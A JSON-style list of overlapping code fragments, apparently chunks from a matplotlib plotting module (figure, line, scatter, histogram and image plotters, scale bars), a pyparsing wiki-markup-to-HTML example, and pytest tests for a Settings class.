"- pad, borderpad : padding, in fraction of the legend",
"list: nrows = subplots[0] ncols = subplots[1] # Create figure",
"of the current matplotlib rcParams and update them self.orig_rcParams =",
"into an existing axis, more options are available: xtwin, ytwin,",
"self.fig = self.axis.figure # Attach plotter to its MetaFigure self.metafig.plotters.append(self)",
"(ylim0 + space, ylim1) axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar)",
"= '' if unitsy is None: unitsy = '' if",
"try: basestring except NameError: basestring = str colorList = [[0.42,",
"VPacker(children=[bars, self.xlabel], align=\"center\", pad=0, sep=sep) if sizey and labely: self.ylabel",
"kwargs['sizey'] def autosize(value, maxvalue, scale, n=1, m=10): round_to_n = lambda",
"per subplot\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis,",
"**kwargs): numLines = len(self.y) if type(self.color) != list: colors =",
"= HPacker(children=[self.ylabel, bars], align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad,",
"= data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') self.label =",
"data.get('resample', None) self.url = data.get('url', None) self.data = data.get('data', None)",
"Reset the matplotlib rcParams to their original settings mpl.style.use(self.orig_rcParams) class",
"plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout() if 'saveFig' in kwargs: if kwargs['saveFig']:",
"kwargs: if kwargs['invert_yaxis'] is True: self.axis.invert_yaxis() def addLegend(self, handles=None, labels=None,",
"= metafig # If an axis is input, plot there;",
"ImagePlotter(GeneralPlotter): \"\"\"A class used for image plotting using plt.imshow\"\"\" def",
"orientation=self.orientation, rwidth=self.rwidth, log=self.log, color=self.color, alpha=self.alpha, label=self.label, stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return",
"'borderpad', 'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing', 'handler_map'] # Check for",
"except: fileNumStr = fileNumStrNew = '01' fileName = fileName.split(fileExt)[0] fileName",
"3 class MetaFigure: \"\"\"A class which defines a figure object\"\"\"",
"0.00], [0.42, 0.82, 0.83], [1.00, 0.85, 0.00], [0.33, 0.67, 0.47],",
"self.kind if fileType not in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not recognized",
"font size (or prop) - sep : separation between labels",
"axis to attach ticks to - matchx,matchy : if True,",
"sizey if unitsx is None: unitsx = '' if unitsy",
"fileName = fileName.split(fileExt)[0] + fileDesc + fileExt else: fileName =",
"self.fig.show(block=False) except: self.fig.show() def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def finishFig(self, **kwargs):",
"for plotting one line per subplot\"\"\" def __init__(self, data, axis=None,",
"value = round_to_n(0.8 * maxvalue * scale, n, m) /",
"parent - **kwargs : additional arguments passed to AnchoredScaleBars Returns",
"overwrite: while os.path.isfile(fileName): try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr)",
"else: if fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0] + fileDesc + fileExt",
"is not None: self.axis.set_xlim(kwargs['xlim']) if 'ylim' in kwargs: if kwargs['ylim']",
"matchx: sizex = get_tick_size(axis.xaxis) if matchy: sizey = get_tick_size(axis.yaxis) if",
"self.axis.plot(self.x, self.y, color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return self.fig",
"import AnchoredOffsetbox try: basestring except NameError: basestring = str colorList",
"fileDir=fileDir, sim=sim, **kwargs) def formatAxis(self, **kwargs): if 'title' in kwargs:",
"self.rcParams = self.orig_rcParams # Set up any subplots if not",
"- labelx,labely : labels for x,y bars; None to omit",
"scaley=1.0, xmax=None, ymax=None, space=None, **kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey,",
"mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A class used for plotting\"\"\" def __init__(self,",
"\"\"\"A class used for scatter plotting\"\"\" def __init__(self, data, axis=None,",
"the legend font size (or prop) - sep : separation",
"in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim'",
"= self.sim.cfg.filename + fileDesc + fileExt else: if fileName.endswith(fileExt): fileName",
"None) self.alpha = data.get('alpha', None) self.vmin = data.get('vmin', None) self.vmax",
"'Portable Network Graphics', 'ps': 'Postscript', 'raw': 'Raw RGBA bitmap', 'rgba':",
"options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'image' self.X =",
"type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs) # Reset the matplotlib rcParams to",
"'mode', 'bbox_transform', 'title', 'title_fontsize', 'borderpad', 'labelspacing', 'handlelength', 'handletextpad', 'borderaxespad', 'columnspacing',",
"data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'line'",
"containing axes - pad, borderpad : padding, in fraction of",
"None: kwargs['labelx'] = '%.3g %s'%(kwargs['sizex'] * scalex, unitsx) if 'labely'",
"'sizey' in kwargs: sizey = kwargs['sizey'] def autosize(value, maxvalue, scale,",
"created scalebar object \"\"\" def get_tick_size(subaxis): tick_size = None tick_locs",
"value if ymax is not None and sizey>ymax: sizey =",
"is True: self.addLegend(**kwargs) elif type(kwargs['legend']) == dict: self.addLegend(**kwargs['legend']) if 'scalebar'",
"xmax, scalex) kwargs['sizex'] = sizex kwargs['sizey'] = sizey if unitsx",
"ytwin, \"\"\" self.kind = kind # Load data if type(data)",
"for line in range(numLines)] else: markersizes = self.markersize if type(self.linewidth)",
"= data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.alpha = data.get('alpha',",
"len(tick_locs)>1: tick_size = np.abs(tick_locs[1] - tick_locs[0]) return tick_size if matchx:",
"Parameters ---------- data : dict, str axis : matplotlib axis",
"Draw a horizontal and/or vertical bar with the size in",
"to their original settings mpl.style.use(self.orig_rcParams) class GeneralPlotter: \"\"\"A class used",
"= data.get('weights', None) self.cumulative = data.get('cumulative', False) self.bottom = data.get('bottom',",
"[self.markersize for line in range(numLines)] else: markersizes = self.markersize if",
"def add_scalebar(axis, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0,",
"'legendKwargs' in kwargs: legendKwargs_new = kwargs['legendKwargs'] for key in legendKwargs_new:",
"'_' + str(fileDesc) else: fileDesc = '_' + self.kind if",
"self.c = data.get('c') self.marker = data.get('marker') self.linewidth = data.get('linewidth') self.cmap",
"fileName.split(fileExt)[0] + fileDesc + fileExt else: fileName = fileName +",
"data.get('data', None) def plot(self, **kwargs): imagePlot = self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm,",
"fileNumStrNew = '01' fileName = fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0] +",
"+ '_' + fileNumStrNew + fileExt self.fig.savefig(fileName) self.fileName = fileName",
"in points. - **kwargs : additional arguments passed to base",
"if unitsy is None: unitsy = '' if 'labelx' not",
"be the path to a data file.') else: self.data =",
"self.y, color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return self.fig class",
"[0.71, 0.82, 0.41], [0.00, 0.20, 0.50], [0.70, 0.32, 0.10]] *",
"in kwargs: legendKwargs_new = kwargs['legendKwargs'] for key in legendKwargs_new: if",
"\"\"\"A class which defines a figure object\"\"\" def __init__(self, kind,",
"= data.get('cmap', None) self.norm = data.get('norm', None) self.aspect = data.get('aspect',",
"= data.get('orientation', 'vertical') self.rwidth = data.get('rwidth', None) self.log = data.get('log',",
"metafig # If an axis is input, plot there; otherwise",
"size (or prop) - sep : separation between labels and",
"fileName = fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0] + '_' + fileNumStrNew",
"'Scalable Vector Graphics', 'svgz': 'Scalable Vector Graphics', 'tif': 'Tagged Image",
"True: self.axis.grid() elif type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid']) # If this",
"else: fileName = fileName + fileDesc + fileExt if fileDir",
"'title' in kwargs: self.axis.set_title(kwargs['title']) if 'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if",
"kwargs: legendKwargs_new = kwargs['legendKwargs'] for key in legendKwargs_new: if key",
"sep=2, prop=None, barcolor=\"black\", barwidth=None, **kwargs): \"\"\" Draw a horizontal and/or",
"if 'saveFig' in kwargs: if kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig' in",
"ymax is not None and sizey>ymax: sizey = autosize(sizey, ymax,",
"sim=sim, **kwargs) def formatAxis(self, **kwargs): if 'title' in kwargs: self.axis.set_title(kwargs['title'])",
"autosize=0.35, **kwargs): if not sim: from .. import sim self.sim",
"self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths)",
"+ fileType if not fileName or not isinstance(fileName, basestring): fileName",
"return self.fig class ImagePlotter(GeneralPlotter): \"\"\"A class used for image plotting",
"optionally hiding the x and y axes - axis :",
"hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None, ymax=None, space=None, **kwargs):",
"matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax,",
"np.array(data.get('y')) self.color = data.get('color') self.marker = data.get('marker') self.markersize = data.get('markersize')",
"None) self.vmin = data.get('vmin', None) self.vmax = data.get('vmax', None) self.origin",
"None: final = True self.metafig = MetaFigure(kind=self.kind, **kwargs) self.fig =",
"+ space, ylim1) axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if",
"scale, n, m) / scale except: value /= 10.0 m",
"matplotlib.offsetbox import AnchoredOffsetbox try: basestring except NameError: basestring = str",
"Format' \"\"\" if not sim: from .. import sim if",
"interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url,",
"self.stacked = data.get('stacked', False) self.data = data.get('data', None) def plot(self,",
"loc=4, pad=0.1, borderpad=0.1, sep=2, prop=None, barcolor=\"black\", barwidth=None, **kwargs): \"\"\" Draw",
"TextArea(labelx) bars = VPacker(children=[bars, self.xlabel], align=\"center\", pad=0, sep=sep) if sizey",
"= [self.markersize for line in range(numLines)] else: markersizes = self.markersize",
"= sim self.kind = kind # Make a copy of",
"ymax, scaley) if xmax is not None and sizex>xmax: sizex",
"ylim0, ylim1 = axis.get_ylim() ylim = (ylim0 - space, ylim1)",
"pickle, json import os from matplotlib.offsetbox import AnchoredOffsetbox try: basestring",
"in kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend' in kwargs: if",
"of scale bars to spacing between ticks, if False, set",
"unitsx = '' if unitsy is None: unitsy = ''",
"underneath (center-aligned). - transform : the coordinate frame (typically axes.transData)",
"the coordinate frame (typically axes.transData) - sizex,sizey : width of",
"data.get('marker') self.linewidth = data.get('linewidth') self.cmap = data.get('cmap') self.norm = data.get('norm')",
"= np.array(data.get('y')) self.color = data.get('color') self.marker = data.get('marker') self.markersize =",
"self.origin = data.get('origin', None) self.extent = data.get('extent', None) self.aspect =",
"if not sim: from .. import sim self.sim = sim",
"and axis if self.axis is None: final = True self.metafig",
"= AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False)",
"self.alpha = data.get('alpha') def plot(self, **kwargs): linePlot = self.axis.plot(self.x, self.y,",
"self.finishAxis(**kwargs) return self.fig class HistPlotter(GeneralPlotter): \"\"\"A class used for histogram",
"def plot(self, **kwargs): imagePlot = self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation,",
"= data.get('markersize') self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') def plot(self,",
"found in matplotlib.rcParams') self.rcParams = rcParams else: self.rcParams = self.orig_rcParams",
"is not None and sizey>ymax: sizey = autosize(sizey, ymax, scaley)",
"if not overwrite: while os.path.isfile(fileName): try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew",
"# if y axis is inverted ylim = (ylim0 +",
"self.data = self.loadData(data) else: raise Exception('In Plotter, if data is",
"None) self.origin = data.get('origin', None) self.extent = data.get('extent', None) self.aspect",
"if kwargs['colorbar'] is True: self.addColorbar() elif type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar'])",
"= data.get('alpha', None) self.vmin = data.get('vmin', None) self.vmax = data.get('vmax',",
"analyses \"\"\" import matplotlib as mpl import matplotlib.pyplot as plt",
"mpl.rcParams[rcParam] = rcParams[rcParam] else: print(rcParam, 'not found in matplotlib.rcParams') self.rcParams",
"'grid' in kwargs: self.axis.minorticks_on() if kwargs['grid'] is True: self.axis.grid() elif",
"else: plt.close(self.fig) # Reset the matplotlib rcParams to their original",
"self.interpolation = data.get('interpolation', None) self.alpha = data.get('alpha', None) self.vmin =",
"= fileName return fileName def showFig(self, **kwargs): try: self.fig.show(block=False) except:",
"sep=sep) if sizey and labely: self.ylabel = TextArea(labely) bars =",
"self.metafig = MetaFigure(kind=self.kind, **kwargs) self.fig = self.metafig.fig self.axis = self.metafig.ax",
"in the kwargs legendKwargs = {} for kwarg in kwargs:",
"space=space, **kwargs) def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def finishAxis(self,",
"padding, in fraction of the legend font size (or prop)",
"> ylim1: # if y axis is inverted ylim =",
"subplots[1] # Create figure if 'figSize' in kwargs: figSize =",
"!= list: self.metafig.finishFig(**kwargs) # Reset the matplotlib rcParams to their",
"Document Format', 'pgf': 'PGF code for LaTeX', 'png': 'Portable Network",
"sizex and sizey params - hidex,hidey : if True, hide",
"__init__(self, data, axis=None, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'scatter'",
"type(self.alpha) != list: alphas = [self.alpha for line in range(numLines)]",
"np from copy import deepcopy import pickle, json import os",
"Image File Format', 'tiff': 'Tagged Image File Format' \"\"\" if",
"* scaley, unitsy) # add space for scalebar if space",
"if not fileName or not isinstance(fileName, basestring): fileName = self.sim.cfg.filename",
"if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend' in kwargs: if kwargs['legend'] is",
"[0.33, 0.67, 0.47], [1.00, 0.38, 0.60], [0.57, 0.67, 0.33], [0.50,",
"sizex kwargs['sizey'] = sizey if unitsx is None: unitsx =",
"0.67, 0.84], [0.90, 0.76, 0.00], [0.42, 0.83, 0.59], [0.90, 0.32,",
"= [] def saveFig(self, sim=None, fileName=None, fileDesc=None, fileType='png', fileDir=None, overwrite=True,",
"def __init__(self, axis, sizex=0, sizey=0, labelx=None, labely=None, loc=4, pad=0.1, borderpad=0.1,",
"scatterPlot = self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm,",
"'Joint Photographic Experts Group', 'jpeg': 'Joint Photographic Experts Group', 'pdf':",
"else: self.data = data if not sim: from .. import",
"self.y = data.get('y') self.s = data.get('s') self.c = data.get('c') self.marker",
"prop=None, barcolor=\"black\", barwidth=None, **kwargs): \"\"\" Draw a horizontal and/or vertical",
"None) self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.filternorm",
"mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A class used for scatter plotting\"\"\" def",
"axis on the figure, finish the figure if type(self.metafig.ax) !=",
"axes. A label will be drawn underneath (center-aligned). - transform",
"= data.get('x') self.y = data.get('y') self.s = data.get('s') self.c =",
"new figure and axis are created and plotted into. If",
"if True, set size of scale bars to spacing between",
"0.85, 0.00], [0.33, 0.67, 0.47], [1.00, 0.38, 0.60], [0.57, 0.67,",
"for adding scale bars to plots \"\"\" def __init__(self, axis,",
"axis is set to None, a new figure and axis",
"= self.label for index, line in enumerate(self.y): self.axis.plot( self.x, self.y[index],",
"scalebar if space is not None: ylim0, ylim1 = axis.get_ylim()",
"= data.get('color', None) self.alpha = data.get('alpha', None) self.label = data.get('label',",
"self.alpha = data.get('alpha', None) self.label = data.get('label', None) self.stacked =",
"def showFig(self, **kwargs): try: self.fig.show(block=False) except: self.fig.show() def addSuptitle(self, **kwargs):",
"# If 'legendKwargs' is found in kwargs, use those values",
"import sim self.sim = sim self.kind = kind # Make",
"kwargs: sizex = kwargs['sizex'] if 'sizey' in kwargs: sizey =",
"not sim: from .. import sim self.sim = sim self.kind",
"None tick_locs = subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size = np.abs(tick_locs[1] -",
"path to a data file.') else: self.data = data if",
"self.finishAxis(**kwargs) return self.fig class LinesPlotter(GeneralPlotter): \"\"\"A class used for plotting",
"separation between labels and bars in points. - **kwargs :",
"**kwargs): if not sim: from .. import sim self.sim ="
] |
[
"conversionParseAction(t, l, s): return opening + t[0] + closing return",
"= QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t, l,",
"Here is a simple Wiki input: *This is in italics.*",
"bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t,",
"italics.* **This is in bold!** ***This is in bold italics!***",
"raise ParseFatalException(s, l, \"invalid URL link reference: \" + t[0])",
"{{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening, closing): def conversionParseAction(t, l,",
"import QuotedString wikiInput = \"\"\" Here is a simple Wiki",
"= t[0].split(\"->\") except ValueError: raise ParseFatalException(s, l, \"invalid URL link",
"\" + t[0]) return '<A href=\"{}\">{}</A>'.format(url, text) urlRef = QuotedString(\"{{\",",
"return '<A href=\"{}\">{}</A>'.format(url, text) urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup =",
"is a simple Wiki input: *This is in italics.* **This",
"is in bold italics!*** Here's a URL to {{Pyparsing's Wiki",
"opening + t[0] + closing return conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\",",
"+ t[0] + closing return conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\"))",
"\"invalid URL link reference: \" + t[0]) return '<A href=\"{}\">{}</A>'.format(url,",
"end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef | boldItalicized | bolded | italicized",
"link reference: \" + t[0]) return '<A href=\"{}\">{}</A>'.format(url, text) urlRef",
"= QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\",",
"+ closing return conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded =",
"***This is in bold italics!*** Here's a URL to {{Pyparsing's",
"\"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def",
"simple Wiki input: *This is in italics.* **This is in",
"\"\"\" Here is a simple Wiki input: *This is in",
"bold italics!*** Here's a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\"",
"s): try: text, url = t[0].split(\"->\") except ValueError: raise ParseFatalException(s,",
"to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening, closing): def conversionParseAction(t,",
"Wiki input: *This is in italics.* **This is in bold!**",
"t[0] + closing return conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded",
"text, url = t[0].split(\"->\") except ValueError: raise ParseFatalException(s, l, \"invalid",
"def conversionParseAction(t, l, s): return opening + t[0] + closing",
"**This is in bold!** ***This is in bold italics!*** Here's",
"l, s): try: text, url = t[0].split(\"->\") except ValueError: raise",
"urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef | boldItalicized |",
"QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef | boldItalicized | bolded |",
"Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening, closing): def conversionParseAction(t, l, s): return",
"input: *This is in italics.* **This is in bold!** ***This",
"conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized",
"a simple Wiki input: *This is in italics.* **This is",
"in bold italics!*** Here's a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}}",
"def convertToHTML(opening, closing): def conversionParseAction(t, l, s): return opening +",
"*This is in italics.* **This is in bold!** ***This is",
"closing return conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\",",
"mo_parsing.helpers import QuotedString wikiInput = \"\"\" Here is a simple",
"\"\"\" def convertToHTML(opening, closing): def conversionParseAction(t, l, s): return opening",
"'<A href=\"{}\">{}</A>'.format(url, text) urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef",
"QuotedString wikiInput = \"\"\" Here is a simple Wiki input:",
"QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t, l, s): try: text, url =",
"QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\"))",
"URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening, closing): def",
"return opening + t[0] + closing return conversionParseAction italicized =",
"Here's a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening,",
"href=\"{}\">{}</A>'.format(url, text) urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef |",
"reference: \" + t[0]) return '<A href=\"{}\">{}</A>'.format(url, text) urlRef =",
"def convertToHTML_A(t, l, s): try: text, url = t[0].split(\"->\") except",
"italics!*** Here's a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def",
"= QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef | boldItalicized | bolded",
"convertToHTML_A(t, l, s): try: text, url = t[0].split(\"->\") except ValueError:",
"italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized =",
"s): return opening + t[0] + closing return conversionParseAction italicized",
"in bold!** ***This is in bold italics!*** Here's a URL",
"= QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t, l, s): try: text, url",
"\"</I></B>\")) def convertToHTML_A(t, l, s): try: text, url = t[0].split(\"->\")",
"t[0].split(\"->\") except ValueError: raise ParseFatalException(s, l, \"invalid URL link reference:",
"text) urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup = urlRef | boldItalicized",
"l, s): return opening + t[0] + closing return conversionParseAction",
"in italics.* **This is in bold!** ***This is in bold",
"URL link reference: \" + t[0]) return '<A href=\"{}\">{}</A>'.format(url, text)",
"return conversionParseAction italicized = QuotedString(\"*\").add_parse_action(convertToHTML(\"<I>\", \"</I>\")) bolded = QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\"))",
"+ t[0]) return '<A href=\"{}\">{}</A>'.format(url, text) urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A)",
"except ValueError: raise ParseFatalException(s, l, \"invalid URL link reference: \"",
"Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening, closing): def conversionParseAction(t, l, s):",
"= \"\"\" Here is a simple Wiki input: *This is",
"convertToHTML(opening, closing): def conversionParseAction(t, l, s): return opening + t[0]",
"\"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t, l, s): try:",
"bold!** ***This is in bold italics!*** Here's a URL to",
"ValueError: raise ParseFatalException(s, l, \"invalid URL link reference: \" +",
"is in bold!** ***This is in bold italics!*** Here's a",
"url = t[0].split(\"->\") except ValueError: raise ParseFatalException(s, l, \"invalid URL",
"QuotedString(\"**\").add_parse_action(convertToHTML(\"<B>\", \"</B>\")) boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t, l, s):",
"ParseFatalException(s, l, \"invalid URL link reference: \" + t[0]) return",
"try: text, url = t[0].split(\"->\") except ValueError: raise ParseFatalException(s, l,",
"wikiInput = \"\"\" Here is a simple Wiki input: *This",
"from mo_parsing.helpers import QuotedString wikiInput = \"\"\" Here is a",
"closing): def conversionParseAction(t, l, s): return opening + t[0] +",
"l, \"invalid URL link reference: \" + t[0]) return '<A",
"a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}} \"\"\" def convertToHTML(opening, closing):",
"boldItalicized = QuotedString(\"***\").add_parse_action(convertToHTML(\"<B><I>\", \"</I></B>\")) def convertToHTML_A(t, l, s): try: text,",
"is in italics.* **This is in bold!** ***This is in",
"t[0]) return '<A href=\"{}\">{}</A>'.format(url, text) urlRef = QuotedString(\"{{\", end_quote_char=\"}}\").add_parse_action(convertToHTML_A) wikiMarkup"
] |
[
"file name.json\", default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\": [],",
"= \"something\" assert settings[\"key3\"] == \"something\" settings.reset_all() assert settings[\"key1\"] ==",
"assert settings_dict[\"location 1\"] == (1, 2) assert settings_dict[\"location 2\"] ==",
"\"value1\" def test_prompt() -> None: def sample_prompt_function() -> Any: #",
"), }, ) settings_dict = settings.dump_to_dict() assert settings_dict[\"location 1\"] ==",
"name.json\", default_factories={ \"key1\": lambda: \"value1\", }, default_settings={ \"key1\": [], },",
"(obj.x, obj.y), data={ \"location 1\": Coords(x_and_y=(1, 2)), \"location 2\": Coords(x_and_y=(3,",
"\"a\" settings.update({\"key2\": \"b\"}) assert settings[\"key2\"] == \"b\" def test_Settings__is_using_json() ->",
"with pytest.raises(KeyError): settings[\"key2\"] def test_default_settings() -> None: settings = Settings(",
"}, ) assert settings._Settings__is_using_json() settings.settings_file_path = \"sample_settings_file_name.yaml\" assert not settings._Settings__is_using_json()",
"\"key8\": \"value8\", } ), }, data={ \"key1\": \"hello\", \"key2\": \"world\",",
"None: settings = Settings( settings_file_path=\"nonexistent file.json\", default_settings={ \"key1\": [], \"key2\":",
"\"value8\", } ), }, data={ \"key1\": \"hello\", \"key2\": \"world\", \"key3\":",
"settings = Settings( data={ \"key1\": \"a\", \"key2\": \"b\", } )",
"\"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [], \"key4\": \"value4\",",
"settings\") assert settings[\"key1\"] == \"a\" def test_update() -> None: settings",
"\"world\" assert settings[\"key3\"] == \"value3\" settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"] ==",
"\"a\", \"key2\": \"b\"}, default_factories={ \"key1\": sample_prompt_function, \"key2\": lambda: \"value2\", \"key3\":",
"assert settings[\"key1\"] == \"hello\" assert settings[\"key2\"] == \"world\" del settings[\"key1\"]",
"settings.load(fallback_option=\"prompt user\") assert settings[\"key1\"] == \"a\" assert settings[\"key2\"] == \"b\"",
"\"b\"}) settings = Settings( settings_file_path=\"not a real file.yaml\", prompt_user_for_all_settings=sample_prompt_function, default_factories={",
"settings[\"key3\"] = \"value3\" def test_prompt_error() -> None: settings = Settings(",
"settings_dict[\"location 1\"] == (1, 2) assert settings_dict[\"location 2\"] == (3,",
") assert settings.data[\"key1\"] == \"c\" assert settings.data[\"key2\"] == \"d\" def",
"2\"] == (3, 4) assert settings_dict[\"patterns\"][\"phone number pattern\"] == r\"\\d{3}-?\\d{3}-?\\d{4}\"",
"def test_prompt_error() -> None: settings = Settings( settings_file_path=\"nonexistent file.json\", default_settings={",
"== \"a\" def test_changing_settings_before_load() -> None: settings = Settings( settings_file_path=\"sample",
"\"c\", \"key2\": \"d\", } ) assert settings.data[\"key1\"] == \"c\" assert",
"test_Settings__is_using_json() -> None: settings = Settings( settings_file_path=\"sample_settings_file_name.json\", default_factories={ \"key1\": lambda:",
"lambda: \"value2\", \"key3\": lambda: \"value3\", }, default_settings={ \"key3\": [], \"key4\":",
"assert not settings._Settings__is_using_json() def test_load_from_dict() -> None: settings = Settings()",
"settings_file_path=\"C:/Users/chris/Documents/sample_settings_file_name.json\", default_factories={ \"key1\": lambda: \"value1\", }, data={ \"key1\": \"hello\", \"key2\":",
